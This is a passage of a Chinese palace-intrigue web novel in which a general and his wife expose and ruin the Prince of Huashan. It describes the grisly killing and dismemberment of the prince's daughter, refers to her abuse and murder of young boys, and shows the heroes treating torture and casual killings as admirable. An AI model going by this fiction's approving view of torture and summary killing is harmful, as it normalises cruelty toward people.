“你们确实该死。”华山王眼里闪烁过杀意。
无能者必死。
暗零举起匕首,正欲抹脖子。
死,对暗卫来说,迟早的事情。
“慢。”暗零的忠诚让华山王很满意,心里的怒火稍稍平息。
技不如人,好在忠心可用。
“派人去云霄阁传话,本王要见阁主,谈一笔大生意。”
千两银票见阁主,这是徐慧珠定下的新规矩。
徐慧珠收到阿魂递来的消息,“将军,华山王怕是要动了。”
“这笔单子,接还不接?”
这些年,云霄阁时有接到雇凶暗杀姜夜沉的大单,都被云霄阁阁主动推掉。
理由是,云霄阁敞开门做生意,不是同百姓为敌。
“让阿魂去见华山王,看看他能出得起多少银子,一座封地锦绣城可买不到我的命。”
徐慧珠不愿见到华山王,她怕自己泄露情绪,见面先一刀捅死华山王,坏了姜夜沉的布局。
“将军说得在理,见阁主一面,先付千两银票,这等小钱,云霄阁偶尔也赚,就当给阁里的暗杀者们多加几顿肉食。”徐慧珠极会安慰自己。
当夜,徐慧珠奋笔疾书一出戏文,正准备闭目养神一会儿。
金夏现身,“夫人,来了。”
“将军给您防身用。”金夏往徐慧珠手里塞一把匕首,然后紧紧将人护在身后。
谁来了?
刺客来了。
华山王收到的消息本就不对等,他明知道姜夜沉难杀,但他又自负,不信姜夜沉杀不死。
华山王觉得太子之所以不能成事,一是无能,二是顾虑重重。
杀人嘛,当机立断。
他在封地锦绣城当王,主宰苍生的性命,已形成刻入骨血的习惯。
姜夜沉再厉害,不过是苍生一粒,不过是李氏皇族的狗,狗不听话,打死换一条听话的狗就是了。
这么简单的道理,太子不懂,华山王懂。
用不了多久,他在北疆培育的暗钉就会散播谣言,说姜夜沉的北疆军生出谋反之意。
到时,皇帝就不会再追究姜夜沉的死,还会觉得姜夜沉死的刚刚好。
对于皇帝来说,姜夜沉的死,正是皇帝收复北疆军的机会。
如此良机,怎能不紧紧抓住。
自古以来,哪个皇帝不想政权、兵权和民心,都攥在自己的手心里。
这一回,华山王倾尽在京城的所有势力。
为的是,姜夜沉能万无一失去死。
很快,牢狱里外厮杀声一片。
这时,牢头谢大勇冲过来,满脸急切,“徐夫人?徐夫人?”
“贼人闯入牢狱,这里不安全,平大人让我来接您,带您从暗门离开......”
谢大勇心里万分激动,甚至手抖的厉害,那人说了,只要他一刀结果徐夫人,就能得到一万两银子。
一万两银子啊。
他就在府衙里当三生三世的牢头,也赚不来一万两银子。
他已从黑市买下新的身份和路引,待取徐夫人的命,他就能揣着一万两银票远走高飞,去他国城池吃香的喝辣的,或买个小官当当,过上逍遥快活的富贵生活。
至于妻儿,舍弃就舍弃了,他会再娶更貌美更年轻的妻子,生育六七八九个儿女......
“徐夫人?”谢大勇催促道,“快跟我走......”
谢大勇并未惊讶金夏的存在,就算加上金夏,也是两个娇滴滴的小娘子,怕是连挠他的脸都不敢。
“原来是牢头大人啊。”徐慧珠和金夏对视一眼,说话的瞬间双双扑向谢大勇,一左一右,脖子插进两把匕首。
插的对穿。
“牢头大人,记着,莫轻视女子。”
华山王在府里等至天明,派出去的人,一个都没回来。
暗零也没回来。
这怎么可能?
难道他查到的消息有误?
不,绝不可能。
他在深宫埋下的钉子,日常在御书房侍奉,还是李生德的徒弟之一,就是太子也不知情,亦是他头一回动用,送出来的消息不可能有假。
钉子传来消息,姜夜沉向皇帝进言废太子,这才触怒天颜,差点被打死。
太子德性不够,能力不足,但太子终归是皇帝的亲子,由不得外人指手画脚,更妄论插手皇权。
皇帝下旨让禁卫军围住将军府,还抓了徐慧珠,姜夜沉那个蠢狗护夫人,不顾重伤追夫人追到府衙大牢,同甘共苦去了。
难道......
第077章:锦绣城人士
“来人!”
“王爷?”管事阿权猛的惊醒,困意散去,“王爷,是......是要添些茶水?”
“阿权,你去府衙一趟,看看到底怎么回事?若打探不到消息,你就死在外面。”
华山王心慌的不行,到底是事成?还是失败?
他派去打探消息的人,一个也没回来。
“王爷?”阿权去而复返。
华山王正暴怒中,嘭的一下打开门,咒骂的话卡在喉咙中,吐不出来,咽不下去,憋的脸色发青。
“李......李大监?”
这大清早的,皇帝心腹大太监李生德登门,只怕是祸不是福。
“华山王安好。”
“奴才奉皇上口谕请华山王即刻入宫,事关欣冉郡主。”
华山王站立不稳,扶着门框,“你......你说什么?”
“欣冉在皇宫?她......她如何了?”
李生德面色恭敬,却是油盐不进,“这......”
“老奴只奉皇命请华山王即刻入宫,旁的事情,老奴不知啊。”
“还请华山王恕罪。”
李生德言下之意:想打听消息,门儿都没有。
华山王心口一滞,李生德和姜夜沉都是皇帝的狗。
一个阉狗,一个疯狗。
谁人不知李生德日日伴驾,说是皇帝的影子都不为过,他会不知?
狗眼看人低的狗东西。
刚入宫门,迎面遇上姜夜沉。
四目相对,华山王先败下阵来。
“华山王。”
“将军。”
徐慧珠掀起帘子,脸色惨白,虚弱地靠在金夏身上,“将军府徐氏见过华山王。”
咳咳咳。
“夫人,您又吐血了。”马车里传来金夏的惊呼。
“华山王请见谅,臣妇......臣妇身子有碍,不能下马车行礼。”徐慧珠一副要死不活的模样,似是硬撑着一口气。
这般模样,入宫做什么?
华山王心里烦躁,又惦念欣冉郡主,哪有时间与徐慧珠废话。
况且,徐慧珠不过一介卑贱妾室,有何资格与他说话?还敢不行礼?
莫说她身子有恙,或身受重伤,就是死,也得跪着死。
这便是身份带来的贵贱之分。
“哼。”华山王一甩衣袖,“本王还要去见皇上,先走一步。”
“华山王且慢。”姜夜沉竟敢伸手挡住华山王的去路。
“皇上派本将军去府衙体验民情,却抓住一名死侍,意欲刺杀本将军。”
“夫人为救本将军,被刺客重伤。”
“据死侍交待,他名为暗零,锦绣城人士。”
“锦绣城乃华山王您的封地,刚巧遇见华山王,便问一句,可认得暗零?”
“什么?”华山王的眼里闪烁过一抹慌乱,只觉得气血上涌,集中于脑,快要炸裂。
暗零任务失败,还落入姜夜沉的手里?
暗零怎么能被活捉?
即便活捉,暗零该一死忠主才是啊。
如今怪罪暗零已是无用。
华山王虽未去过锦衣卫的刑堂,也听闻锦衣卫审讯犯人共有一百零八种刑法,迄今为止,没有人能扛得过第十种......
华山王强作震惊,心下决定,等见过皇帝,他立马启程回锦绣城。
唯有回到锦绣城,他便能安全。
因为,他才是锦绣城的“王”。
“大将军?”华山王板着冷脸,质问道,“大将军该慎言,本王不认识什么暗零明零。”
“本王同大将军,往日无仇近来无怨,怎会派死侍行刺杀之事?”
“大将军若无凭无据,仅凭旁人胡言乱语几句,就无缘无故栽赃到本王身上,那就一同去皇上那里分辨一二。”
“大将军莫忘了,本王乃皇族,污蔑皇族,如同不忠皇上。”
“大将军,意欲何为啊?”
姜夜沉拱手行礼,“华山王大概是误会了,本将军只是随口一问罢了。”
“说来,那名叫暗零的死侍嘴巴挺紧,本将军入宫之时,他熬到锦衣卫刑堂里的第五种刑法,也只交待他的名字和出身地。”
“但,本将军对锦衣卫的逼供刑审有信心,也想测试人性,好奇一个意志力坚强的死侍到底能扛过第几种?”
华山王的脸色冷得不能再冷,姜夜沉何意?
威胁他?
“姜-夜-沉!”
若不是皇帝召见,华山王真想离宫而去。
京城待不得,他还是回锦绣城去吧。
华山王心里呕死,对太子的怨恨攀登顶峰,原本以为太子无能自负又窝囊,这样的人,不管是当储君之时,还是将来继承皇位,都是好拿捏的。
锦绣城虽好,但无法满足华山王的野心和贪欲。
他还是想要回到生长之地-京城。
都是皇族血脉,凭什么皇帝霸占京城,而他只能委身于锦绣城。
只做锦绣城的王,久而久之,乏味又枯燥。
他的心,时有空落落的虚慌感。
他想要手握更多的权力。
太子,便是他选择的捷径,是他的棋子。
咳咳咳。
“夫人,您......您又吐血了啊。”金夏尖叫一声,掀起帘子急叫道,“将军,先去太医院,夫人快坚持不住了。”
姜夜沉直接跳上马车,抱起已昏迷不醒的徐慧珠往太医院冲去。
“大福,你回锦衣卫刑堂,命令铁力在一个时辰内撬开死侍的嘴,本将军要知道谁是幕后主使?”
“让锦衣卫待命,谁敢让本将军守寡,本将军就抄他的家。”
华山王身子一紧,几欲栽倒。
不。
不不不,就算暗零受不住刑讯,最后供出他,只要他不认,姜夜沉能奈他何?
他乃王爷之尊,姜夜沉敢抄他的家?
诛他的族?
偏偏,李生德也长了一张极臭的嘴巴。
“啧啧啧,大将军这是冲冠一怒为红颜啊。”
“老奴还是头一回见到大将军这般失态失控,如此看来,大将军真宠那位徐夫人。”
“唉,不知哪个不长眼的蠢货敢在天下脚下的京城行刺将军,真真是蠢笨如猪,真真是愚不可及。”
华山王:阉狗骂本王是猪?阉狗怎敢?阉狗!阉狗!
“唉,前不久,锦衣卫一连三日抄家,第一日抄家老临王府,第二日抄家禁卫军副统领肖岭的府邸,第三日抄家元伯府......”
“这一回,不知轮到哪家?”
李生德忽然凑近了些,一派神秘兮兮,“华山王可要下注?”
第078章:郡主死在南风馆
“这可是个极妙的消遣乐子,顺道还能赚点零花银子,一举两得的好事儿。嘿嘿......”
“华山王若感兴趣,老奴介绍您一个好去处。”
“下注?”华山王本就越发慌乱的心,这会儿已是漂浮于半空中,理智似是被一股力量禁锢住,顺着李生德的话提问。
随即,李生德给了华山王一个“同道中人”的眼神,“就是下注。”
“京城有一处地方,可下注今年哪一家可能被抄家?”
李生德做出一个抹脖子的动作。
不知为何,华山王直觉得脖子凉飕飕的,一股阴风好像吹过。
“华山王且安心,匿名下注,设置赌局之人颇为神秘,信誉非常好,绝不会出卖下注之人的信息。”
“待赢了银子,庄家会以下注之人的名号直接存入钱庄,下注之人只需前往钱庄如数取出便是。”
“华山王,您说,是不是相当刺激?”
华山王听得心惊胆颤,只觉得身体似是正一点一点脱离控制,冷热两股气流在体内较量、厮杀。
他想要吼一句:阉狗,闭嘴!
可,他的喉咙干涩疼痛,吞咽唾液如刀割,无力发出声音。
待华山王入得御书房,正好瞧见姜夜沉扶着徐慧珠起身,坐到软椅上。
“臣多谢皇上赐灵丹妙药,救慧珠性命。”
“皇上,慧珠是臣的救命恩人,这回刺杀格外凶险,臣身上本就有伤......若不是慧珠为臣挡住刺客那内力深厚的一掌,臣与皇上怕是阴阳相隔了。”
“不能尽忠于皇上,臣不甘,臣......死不瞑目。
只见,徐慧珠原本惨白灰青的脸色,恢复红润。
她含情脉脉望着姜夜沉,“将军是我的夫君,将军生,我便活。将军死,我相随。”
姜夜沉:我差点儿就信了。
华山王:一个**妾室,也能得见天颜?还配赐座软椅?他都没享受过这等恩赐,人比人,要气**吗?
此刻,皇帝的心情说不出什么滋味。
总之,很复杂。
刚刚院使看诊,徐慧珠确实被内力所伤,伤到五脏六腑,若不及时服下皇室秘药,于寿命有碍。
罢了罢了,看姜夜沉紧张成那样,又是跪又是求的。
实在没眼看。
说来,这是皇帝头一回见到徐慧珠,规矩倒是大方得体,姿容只能勉强挤到上乘之列,配姜夜沉,是有些配不上的。
不过,徐慧珠甘愿为姜夜沉牺牲自己的性命,单凭这一点,足够证明姜夜沉的眼光不算差。
虽然,在皇帝的眼里,这世间女子就没一个能配得上优秀的姜夜沉。
也是,他亲自教导出来的儿郎,就应该优秀......如他。
罢了罢了。
看在姜夜沉的脸面上,就......抬举徐慧珠一二。
皇帝的自我安抚能力越发娴熟。
“好了好了,夜沉,朕知道你是个好的,也明白你的忠心。”
皇帝一脸动容。
很明显,皇帝极享受姜夜沉拍马。
好听话,就那么凑巧说到皇帝的心坎里。
华山王:姜夜沉是个好的,那他呢,是个坏的?太子呢,是个草包?
“臣弟叩见皇上,吾皇万岁万万岁。”
华山王狠掐自己一把,才能面色如常行礼跪拜。
他跪皇帝天经地义。
可,凭什么姜夜沉站着?
徐慧珠一个卑贱的妾室坐着?
相当于,他堂堂王爷之尊,也顺道跪了姜夜沉和徐慧珠?
过了好一会儿,华山王的膝盖疼痛难忍,才听到皇帝说,“起来吧。”
语气冷淡。
华山王心惊,不安袭来。
皇帝面对姜夜沉时,和煦春风。面对他时,冷若寒霜。
是区别对待?还是发现了什么?
比如,皇帝知道太子偷偷**了欣冉,还是襄王那个怂货向皇帝告欣冉的状。
不管什么,他咬死不认便是。
华山王顾不得思考,“皇上,欣冉她......”
“皇上,欣冉她病了,如果她在发病时犯下什么错,绝对是无心的。”
“还请皇上可怜可怜欣冉,她母妃病逝后,欣冉就是臣弟的精神寄托啊。”
不论错,先求情。
一边求情,一边卖惨。
华山王的算盘,打得够响。
皇帝深深地看了一眼华山王,“夜沉,
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事是锦衣卫查到的,你来说。”
什么事?
华山王心里的不安,越发浓郁。
难道?
欣冉出了事?
欣冉在太子的手里,顶多暂且失去自由,能有什么事?
再说,就算他刺杀姜夜沉失败,太子敢跟他翻脸吗?
他的锦绣城,还养着太子的五万私兵。
关键时候,这五万私兵在手,也是威胁太子的筹码之一。
“是,皇上。”
姜夜沉舍不得离开徐慧珠,恨不能黏糊在徐慧珠的身上。
“慧珠,你感觉如何?可还能坚持住?”
“将军,我没事,皇上赐的药效果极好。”徐慧珠坐在软椅里,倒是心安理得。
“将军忙正事要紧,我......我陪着将军。”徐慧珠脸颊微微泛红,似是有些羞涩。
在皇帝的面前秀恩爱,徐慧珠都禁不住为自己坚挺的心理素质感动到了。
“华山王,欣冉郡主......**。”
“死于昨夜。”
“死在南风馆。”
“请节哀。”
华山王满眼不敢置信。
忽然,眼前一黑,华山王向后倒去。
好在,姜夜沉速度更快,刚刚好扶住华山王。
哪知,华山王到手抓住姜夜沉的衣领,质问道,“姜-夜-沉!”
“你竟敢胡说?”
“你竟敢诅咒本王的欣冉,本王......本王要杀了你!”
嘭。
皇帝一掌拍在御桌上,震得茶水四溢,“华山王,够了!”
“你发什么疯,放开夜沉,让夜沉说。”
“你也好好听听,欣冉郡主做下何等丑事,又为何死在南风馆那等肮脏**的地方?”
“欣冉郡主的死,与夜沉毫干关系!”
皇帝的怒吼,如一道晴天霹雷,炸在华山王的心间。
他不能接受。
这样的噩耗,让他如何接受?
“不不不,欣冉不会死。”
“本王的欣冉那么乖巧柔顺,怎么会死呢?”
“不不不,本王不信。”
华山王喃喃自语。
等他说够了,才抬起一双红眼与姜夜沉对视,“姜-夜-沉,你说!”
第079章:夫人她美救英雄
华山王松开姜夜沉,一边悲痛,一边却控制不住想要探寻真相。
哪怕姜夜沉的嘴里,说出的并不一定是全部的真相。
他也要知道。
“据锦衣卫查到的真相,欣冉郡主偷跑去南风馆涨见识,不明缘由弄死一名才十一岁尚未出苞的男侍。”
“后又不明缘由被一名叫秦霄贤的男侍,伙同一名厨娘和一名夜香郎合力勒晕,手脚帮助,遭受活生生剔骨之刑,肉块用来烧肉,骨头扔进夜香里。”
“烧熟的肉,已送到王府。”
锦衣玉食长大、身份尊贵无双的皇家郡主,死在南风馆那般肮脏的地方,死前惨遭非人折磨,死无全尸,还被烧成肉糜,扔进臭味熏天的夜香里......
“啊啊啊啊......”
“不!”
华山王眦目欲裂,跪地怒吼。
他的欣冉啊。
怎么会这样?
怎么会?
“华山王,不可放肆,这里是皇上的御书房!”李生德出声提醒。
可,此刻的华山王被人挖心挖肝、摧魂毁魄,人从理智到发疯,只需一瞬。
“呵!”
“本王放肆?”
“阉狗,你竟敢说本王放肆?”
“欣冉是本王的宝贝女儿,也是皇上的亲人,皇上都没说本王一句,你一个阉狗凭什么满嘴喷粪?”
华山王骂的畅快。
可,他忘了李生德是皇帝的人,骂李生德阉狗,等同于骂皇上。
阉狗的主人,简称“阉人”?“阉主”?
都不好听。
李生德的脸色难看。
皇上的脸色,难看中透着一抹怒火。
敢辱骂君王?华山王只图嘴巴一时快活,不知已大祸临头,很快就会和欣冉郡主团聚了。
华山王忽然死死盯着姜夜沉,摆出一副破罐子破摔的架势,“还有,姜夜沉,听闻京城乃锦衣卫横行的地盘。”
“姜夜沉,本王倒是想问一问,你身为禁卫军统领,是无能?是纵容?还是刻意为之?”
“在锦衣卫的眼皮子底下,我安国皇族郡主一条命说没就没了。”
“今日是郡主,他日是不是就有贼人不费吹灰之力闯入皇宫,行刺皇上?”
华山王冷哼道,“皇上明鉴,臣弟的担忧并无道理。”
“臣弟有理由怀疑姜夜沉的能力,也有理由怀疑姜夜沉的居心叵测。”
“说不得有人勾结皇上身边的人,欲行不忠之事。”
“皇上,日防夜防家贼难防啊。”
这般明晃晃地挑拨离间,华山王的手段拙劣,但并非无效。
有人是谁?指名道姓姜夜沉了。
说姜夜沉勾结李生德?
看似愚蠢的一刀,目的却不小,想要一刀砍断皇帝的左膀右臂。
可惜,华山王不了解皇上的一颗心。
此刻,皇上的脸色,怒火中透着一抹杀气。
“华山王,您受不住丧女之痛,情绪失控失态,本将军不怪。”
“华山王,您请节哀!”
姜夜沉的脸上,一派云淡风轻。
“皇上,臣还有事禀报。”
“夜沉,你说。”皇帝的语气,温和了几分。
“回禀皇上,据锦衣卫查证,南风馆乃东宫太子殿下的侧妃肖氏身边的管事嬷嬷名下产业。”
“南风馆的男侍秦霄贤、厨娘和夜香郎都是锦绣城人士。”
欣冉郡主死在南风馆?
南风馆与东宫太子有干系?
害死欣冉郡主的凶手却来自锦绣城?
华山王脸色惨白,眼神却透着一股怪异的迷惑,他直觉有一张大网铺天盖地袭来,那网上绑着密密麻麻的银针,要将他扎成刺猬。
太子深知他的软肋,就算**欣冉,只会好吃好喝伺候,还会寻来漂亮男童供欣冉寻欢作乐。
太子绝不会,也不敢害死欣冉。
可,事实是,太子就是害死欣冉的凶手之一。
一切因果,源于太子发疯绑走欣冉。
另外的凶手......
华山王的心里,隐隐生出一种猜想。
不,不是猜想,而是肯定。
难道?
因果报应吗?
姜夜沉和他的锦衣卫,对欣冉的死,出了什么力?
皇上呢?
又扮演什么角色?
这时,锦衣卫铁力来禀。
“锦衣卫邢堂官铁力叩见吾皇,万岁万岁万万岁。”
“见过华山王。”
“见过将军、夫人。”
华山王听到铁力的名号,顿时悲痛情绪消散大半,他疼爱欣冉郡主入骨没错,病态占有欣冉郡主没差。
但,华山王更爱的人,还是自己。
“皇上,臣弟......臣
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弟悲痛欲绝,这就......就回府操办欣冉的丧事。”
“臣弟......告退。”
“华山王请留步。”姜夜沉不忘抽空与徐慧珠对视一眼。
宫门处,是戏的前奏。
欣冉郡主的死,是戏的高潮部分。
接下来,戏才进入尾声。
也该她登场了。
毕竟,她美救英雄,又身受重伤,该讨回公道,该得一份好处。
更因为,她答应过陈青阳。
“姜-夜-沉!”华山王越急越怒,“你想做什么?阻挡本王出宫不成?”
“刚刚在宫门处,本将军询问过华山王,可否认得昨夜大闹府衙牢狱的贼首暗零,真是巧了,此人也来自锦绣城。”
“看来,铁力的逼供能力大有长进,贼首暗零撂话了。”
“华山王不妨听听真相,也好看看您是当真无辜,还是别有用心之人诬陷于您?”姜夜沉压根儿不给华山王拒绝的机会。
“铁力?”姜夜沉下令。
“暗零交待,他的主子是华山王。”
“他的职位,是这回随行的暗卫队长。”
“暗零原本的任务是杀死徐夫人,为欣冉郡主出气,却临时遇上将军......”
铁力跪得笔直,似是感受不到身后华山王恶狠狠的目光。
“华山王,您......您竟要杀我?”徐慧珠吓得瑟瑟发抖,嘴唇毫无血色。
“我和欣冉郡主在元乐长公主的赏菊宴上头一回见面,当日发生的事情孰是孰非,华山王可问一问在场贵人,我问心无愧。”
“欣冉郡主言语羞辱我,还要我的命......”
“我......我实在不懂。”
徐慧珠可怜巴巴地问道,“将军,我错了吗?我真的不知我哪里错了啊,呜呜呜......”
“华山王,这里是京城,不是您的封地锦绣城。”姜夜沉的目光凉凉地看向华山王。
“而且就算是在您的封地锦绣城,也不能行事过分霸道,锦绣城是安国的锦绣城,是皇上的锦绣城。”
当皇帝的面,上华山王的眼药。
华山王觉得自己好像忽略了什么关键信息,或许,他不该回京。
这京城,早已不是他熟悉的京城了。
“皇上,臣......还有一件事情禀报。”
第080章:皇帝才是甩锅高手
铁力回头看了一眼华山王,“暗零还交待,在京城的华山王府后院,埋着五名男童,平均年龄不到十岁,死前遭遇折磨和侵犯。”
“这份名单上的男童,皆已遇害,死于欣冉郡主的折磨、**之下。”
“欣冉郡主嗜色......男童。”
一时间,天地崩塌,就在此刻。
“皇上?”
“不不不,皇兄啊。”
“欣冉,不不不,不是欣冉做的。”
“皇兄,臣弟...臣弟当真不知情啊。”
华山王的心,怕到绝望。
他自诩锦绣城的神明,是主宰万物苍生的王,也在锦绣城活成自己贪心的模样。
可一旦回京,他什么都不是。
什么都不是。
“华山王?”
“李清明?”
皇帝随手拿起御案上才墨盒,砸向华山王。
黑色的墨汁混合腥血,顺着脸颊流入口中。
此情此景,好生熟悉。
姜夜沉不由得想起太子。
李生德:得,墨盒废了,该换新的。
“李清明啊李清明,你不配父皇赐名,不配叫朕皇兄,妄为人。”
欣冉郡主欲对明轩小公子行不轨之事,差一点就得逞。
曹文的密信已到,其中就有提说欣冉郡主在锦绣城残害的幼童,致死不下五六十人。
畜生啊。
欣冉郡主连小明轩都敢惦记,可见小明轩的皇室身份压根儿无力震慑,她还会放过谁?
......
一桩桩。
一件件。
无不彰显欣冉郡主该死。
华山王也该死。
“李生德,传朕旨意。”
“坞国细作扮作医者潜伏于欣冉郡主身边,蛊惑欣冉郡主食用养血美容丸,残害无辜幼童。”
“坞国欲破坏李氏皇族的清誉,其心可诛。”
“华山王自知教女无方,上愧对列祖列宗,下对不起百姓,自请圈进于宗人府,直到老死。”
论计谋,还得是皇帝。
黑锅,甩给坞国背。
反正,锦衣卫的诏狱里还关着坞国王子察尔通和郡王夏尔花。
“另外,传旨给陈青阳,我安国大军向南边境再压三十公里。”
“夜沉,给坞国递交国书一事,由你负责。”
徐慧珠得了一马车赏赐,头回入宫见皇帝,“见面礼”够豪横。
不愧为帝王。
出了宫门,铁力候着,“回禀将军,暗零**,遗言请求葬于王妃林婉君的墓碑旁。”
“可。”姜夜沉的声音低沉,“铁力,此事你亲自去办。”
“林婉君是华山王的王妃,身份贵重,死后自然入皇陵。暗零是暗卫,如何能葬在林婉君的旁边?除非......”徐慧珠没想到,姜夜沉的棋都下到华山王府里去了。
“将军,暗零是你的人?”
姜夜沉看着徐慧珠一脸认真、惊讶的模样,不知为何,他的手酥痒难耐,想要伸手手指捏一捏她的脸颊。
他心里这样想,手实诚的做了。
徐慧珠是他明媒正娶的夫人,是他的私有物,是他的女人。
“暗零偷了林婉君的尸体,悄悄埋葬在一处地方。”
“暗零是一个奇怪又矛盾的人,他忠心于华山王,却对王妃林婉君生出不该有的心思。”
“说来,也是林婉君种下的善因。”
“有一回,暗零执行任务失败,差点被华山王打死,是林婉君不忍心,偷偷拿给他一瓶上好的止血药,救了他的命,误了他的心。”
铁力奉上的证据,有一大半是暗零给的。
府衙牢狱里的那场刺杀,暗零故意被抓。
谁会想到,一个生活在阴暗里的“老鼠”,也能布出这漫天的局。
“我见过林婉君一回,那是个善良正直的女子......”
当年,王妃林婉君发现枕边人竟对亲生女儿生出不伦心思,而亲生女儿在枕边人的教导下已长成魔鬼。
林婉君受不住打击,最后想出以自己的死,解开这荒唐的死局。
可惜,林婉君不知,死局哪能轻易解开。
林婉君白**。
她的死,一没换回枕边人的良知,二没让亲生女儿醒悟。
倒是林婉君死后,便是横在中间的障碍物没了,那两人越发肆无忌惮。
其实,即便林婉君没选择自缢,她也活不久。
因为,她十月怀胎生下的女儿,觉得她挡路,
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实在厌烦,早在她的饮食里下了**。
只需等待一年半载,林婉君的身体便会越来越弱,最后虚弱到死去。
徐慧珠刚回到将军府,金秋来禀,“夫人,荣夫人来了。”
“谁?”徐慧珠一时没想起金秋口中的荣夫人是谁?
“您的姑母,嫁给眉县荣家大爷,已经来将军府两回,吵着闹着非见您不可。”
金秋说得客气了,荣夫人不好相与,不仅厚脸皮,还是个赖子。
她将马车停在将军府大门前,一副见不着徐慧珠,她就不走不罢休的架势。
“荣夫人哭哭啼啼,说她在荣家受了委屈,算是离府出走,想借住将军府几日。”
“夫人,您看,见还是不见?”
“徐桂珍?”徐慧珠终于想起来。
按说,嫁出去的女儿在夫家受了委屈,该回娘家才是。
徐桂珍的娘家,是户部尚书府。
借住将军府?
唱的哪出戏?
“夫人,那位荣夫人好生奇怪,来将军府就罢了,听说马车里还坐着两位姑娘。”
“依奴婢看,荣夫人不安好心,该不会......该不会想借您的手,给将军送美人儿?”
毕竟,眉县荣家的名声不怎么好。
金秋远远看见马车里的贵女,生得千娇百媚,她气的不行,万万没想到,第一个挖夫人墙角的,竟是娘家。
徐慧珠看到铜镜里的自己,笑了。
原本懒得搭理荣夫人,这下,好奇心被勾起。
“请荣夫人入府,好生伺候。”
夜里,徐慧珠躺在姜夜沉的怀里,一边享受他的温暖,一边闲话。
徐桂珍忽然登门,着急见她。
她不着急。
先晾一晾。
她倒要看看,徐桂珍有多着急。
“将军今日可去东宫见过太子,告诉太子,华山王被终生软禁于宗人府的好消息?”
徐慧珠倒是想去东宫欣赏太子如今的凄惨、狼狈模样,奈何皇宫不是将军府,她想逛就能逛。
她好不容易在皇帝的面前刷了正面形象,可不能遭了厌。
“自是抽空去了一趟东宫,我到的时候,太子正冲佛像发泄......”
第081章:将军今儿又**了?
“原本慈悲善目的菩萨,脸颊凹陷,太子对菩萨如此不敬,我便请太医为太子开了几包清心的汤药。”
腹黑如姜夜沉。
不用问,姜夜沉在汤药里额外添加黄连或巴豆粉。
太子那个养尊处优的坏种,得让他尝一尝人间疾苦。
“太子豢养私兵,勾结朝臣,可谓罪行累累,且每一条都是在威胁皇权,挑衅皇上容忍的底线。”
“皇上仍是替太子收拾烂摊子?再一次原谅?还是会付诸行动废太子?”
其实,徐慧珠有些看不懂皇帝的心思。
皇帝一步一步清除东宫太子的势力,如今的太子,断掉手脚,只能艰难爬行,只剩下储君的虚名。
姜夜沉目色微沉,“徐慧珠,不可妄猜圣意。”
姜夜沉的“威胁”,不具震慑力。
再说,男女在床榻上闲话,不必认真,无需正经。
当作情趣。
“将军,你是不是也觉得皇上对太子的态度,甚是怪异。”
“皇上目前需要太子占着东宫储君的坑位,是为集中皇权,还是为保护真正的继承人?”
徐慧珠就是要大方分享心里的想法,以窥探姜夜沉的心。
不知是她的错觉,还是她想多了,皇帝看姜夜沉的眼神,除过君臣之间的信任、欣赏,似乎还有一层旁的情绪。
“保护真正的储君?”姜夜沉想到皇帝今日那句莫名其妙的感叹。
皇上看着他,竟说,“夜沉,朕真希望你是朕的儿子。”
不不不。
绝无可能。
姜夜沉甩出脑袋里忽然滋生的念头,他忠心于皇帝,报了皇帝的养育、教导之恩,就够了。
待将来那一日,皇帝大去,他姜夜沉就不再是北疆之王、护国将军、锦衣卫统领......
姜夜沉不愿再继续话题,说起将军府的客人。
“将军可了解眉县荣家?”
自徐桂珍入将军府,徐慧珠先将人凉着,因为她对荣家知之甚少。
徐桂珍想要借她之手给姜夜沉送美人儿?还是另有目的?
“荣家啊,费尽心思回京,苦于不得门路。”
第二日,徐慧珠刚用完早膳,就听到院子外传来金夏怒斥的声音。
“这里乃将军和夫人的主院重地,闲杂人等不得入内。”
金夏听说徐桂珍领着两个娇滴滴的美人儿,极大可能别有用心。
她的语气,能和善才怪。
她家大小姐好不容易才过上几天快活日子,可不能让旁人搅和了。
“金夏姑娘,劳烦通传一下,我们姐妹陪母亲来看望慧珠表姐。”
紫裙少女开口道,她生怕徐桂珍动怒,还悄悄扯了扯徐桂珍的衣袖。
“将军说了,在将军府,只有徐夫人,不管是谁,见着夫人,该尊称一句‘夫人’才是。”金夏摆明了要给徐桂珍三人甩脸子、下马威。
要见夫人,得先受了奴婢的话。
“你......好生放肆。”徐桂珍甩开紫裙少女的手,扬手就要扇金夏耳光。
“荣夫人?”
金秋掀起门帘,徐慧珠出现在众人的视线里,“荣夫人好重的火气,好厉害的脾气,怎么,要帮本夫人管教将军府的奴仆。”
“不如,本夫人让管事把将军府的奴仆**到一处,由荣夫人教导个遍?”
“荣夫人......敢吗?”
主动送上门的脸,不打白不打。
多年未见,徐桂珍本就不怎么记得徐慧珠,一见面,便心生不喜。
不,应该是心生厌恶。
果然,徐慧珠跟她那个娘一样,**的德性。
但,亲戚就是亲戚。
将军府认户部尚书府这门亲,就得认眉县荣家这门亲戚。
“徐慧珠,我......我是你的亲姑母,是你的娘家长辈。”
徐桂珍忍着怒意同徐慧珠打感情牌,心里想的却是,徐慧珠能做得将军府的“徐夫人”,她倾尽心血培养的女儿何等优秀,可谓才貌双全,定能入将军府的眼,当得将军府的“荣夫人”。
如果女儿攀附上将军府,荣家从眉县回京,指日可待。
到那时,她就是整个荣家的功臣。
待成为荣家功臣,回京前要办的事情,自是将满院狐媚子喂了哑药,卖到最下等的勾栏院。
徐慧珠见好就收。
她将人请至厅堂,又让金秋上了茶果。
“荣夫人尝一尝,这是皇上赏赐给将
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军的茶。”
姜夜沉是皇帝的心腹重臣,这一点,谁人不知。
“嗯,好茶。”徐桂珍的心思,哪能在茶水上。
她招来紫裙少女和红裙少女,介绍道,“这是荣慧、荣婷。”
“还愣着做甚,先拜见你们的表姐。”
紫裙少女,名荣慧。
红裙少女,名荣婷。
“荣慧见过表姐。”
“荣婷见过表姐。”
两位美人儿的规矩,如同她们的姿容,一等一的好。
金夏小声嘟囔,“刚都说了,在将军府得尊称‘夫人’,是耳聋没听见,还是厚脸皮攀亲戚?”
关键是,金夏这声音又不够小。
厅堂里,该听到的,都听得清清楚楚。
“金夏说得在理,将军府的规矩不能破。”姜夜沉带着一身腥血气进来,目光只落在徐慧珠的身上。
“将军今儿又**了?”徐慧珠起身,走向姜夜沉,解开披风,又亲手倒一杯茶。
徐慧珠这话问的随意,好像在问:今儿早膳吃了几个肉包子?
“锦衣卫诏狱关不下,我就杀了几个没价值的嫌疑人。”
嘭。
只见荣婷吓得脸色苍白,倒在地上,昏迷不醒。
“婷儿?”徐桂珍扑过去,抱住荣婷,使劲掐荣婷的人中,“婷儿,你怎么了?可别吓唬我啊!”
趁这个空档,徐慧珠已向姜夜沉介绍完客人的身份。
“普神医,你去看看。”
